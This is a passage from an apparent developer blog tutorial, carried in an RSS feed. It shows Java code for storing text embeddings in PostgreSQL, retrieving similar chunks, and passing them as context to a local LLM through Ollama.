&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;ps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"INSERT INTO text_embeddings (content, embedding) VALUES (?, ?::vector)"&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeUpdate&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each piece of text is stored along with its vector representation.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔵 Phase 2: Query (RAG Flow)
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Step 1: User Query
&lt;/h4&gt;

&lt;p&gt;"What is OAuth?"&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 2: Convert Query → Embedding
&lt;/h4&gt;

&lt;p&gt;Same process as storing text.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 3: Retrieve Relevant Data
&lt;/h4&gt;

&lt;p&gt;SELECT content&lt;br&gt;
FROM text_embeddings&lt;br&gt;
ORDER BY embedding &amp;lt;-&amp;gt; ?::vector&lt;br&gt;
LIMIT 3;&lt;br&gt;
👉 This finds the most similar text chunks&lt;/p&gt;
&lt;h4&gt;
  
  
  Key Class: Retriever.java
&lt;/h4&gt;

&lt;p&gt;This is the R (Retrieval) in RAG.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;        &lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;ps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="sh"&gt;"""
            SELECT content
            FROM text_embeddings
            ORDER BY embedding &amp;lt;-&amp;gt; ?::vector
            LIMIT ?
            """&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;topK&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;ResultSet&lt;/span&gt; &lt;span class="n"&gt;rs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeQuery&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 4: Generate Answer Using LLM
&lt;/h4&gt;

&lt;p&gt;We pass retrieved data to the LLM:&lt;/p&gt;

&lt;p&gt;Context:&lt;br&gt;
OAuth 2.0 is an authorization framework...&lt;/p&gt;

&lt;p&gt;Question:&lt;br&gt;
What is OAuth?&lt;/p&gt;

&lt;p&gt;👉 The LLM generates a clean answer.&lt;/p&gt;
&lt;h4&gt;
  
  
  Key Class: LLMService.java
&lt;/h4&gt;

&lt;p&gt;This is the G (Generation) in RAG.&lt;br&gt;
Passing Context to the LLM&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""
                        Answer briefly in 2-3 sentences.

                        Context:
                        %s

                        Question:
                        %s
                        """&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;formatted&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We inject retrieved data into the prompt so the LLM generates grounded answers.&lt;/p&gt;

&lt;p&gt;🧪 Sample Output&lt;br&gt;
--- Retrieved Context ---&lt;br&gt;
OAuth 2.0 is an authorization framework.&lt;br&gt;
JWT is used for secure authentication.&lt;/p&gt;

&lt;p&gt;--- Final Answer ---&lt;br&gt;
OAuth is an authorization framework used to grant access to resources...&lt;br&gt;
🧠 What’s Really Happening?&lt;/p&gt;

&lt;p&gt;This is the most important part to understand:&lt;/p&gt;

&lt;p&gt;Component   Role&lt;br&gt;
Database    Stores knowledge&lt;br&gt;
Retriever   Finds relevant information&lt;br&gt;
LLM Generates answer&lt;/p&gt;

&lt;p&gt;👉 The LLM does NOT retrieve data&lt;br&gt;
👉 The database does NOT generate answers&lt;/p&gt;

&lt;h4&gt;
  
  
  💻 Full Code
&lt;/h4&gt;

&lt;p&gt;The project includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;EmbeddingService.java&lt;/li&gt;
&lt;li&gt;StorageService.java&lt;/li&gt;
&lt;li&gt;Retriever.java&lt;/li&gt;
&lt;li&gt;LLMService.java&lt;/li&gt;
&lt;li&gt;RAGApp.java&lt;/li&gt;
&lt;li&gt;pom.xml&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  👉 GitHub Repository
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/AI/RAG" rel="noopener noreferrer"&gt;https://github.com/knowledgebase21st/Software-Engineering/tree/dev/AI/RAG&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  🚀 Why This Approach is Powerful
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Works with your own data&lt;/li&gt;
&lt;li&gt;Reduces hallucination&lt;/li&gt;
&lt;li&gt;Fully offline (with Ollama)&lt;/li&gt;
&lt;li&gt;Production-ready pattern&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ✅ Conclusion
&lt;/h4&gt;

&lt;p&gt;We built a complete RAG pipeline using Java, PostgreSQL, and Ollama.&lt;/p&gt;

&lt;p&gt;This approach combines:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your data&lt;/li&gt;
&lt;li&gt;Smart retrieval&lt;/li&gt;
&lt;li&gt;LLM reasoning&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Result:&lt;br&gt;
&lt;code&gt;Accurate, context-aware answers using your own knowledge base.&lt;/code&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>postgres</category>
      <category>rag</category>
    </item>
  </channel>
</rss>
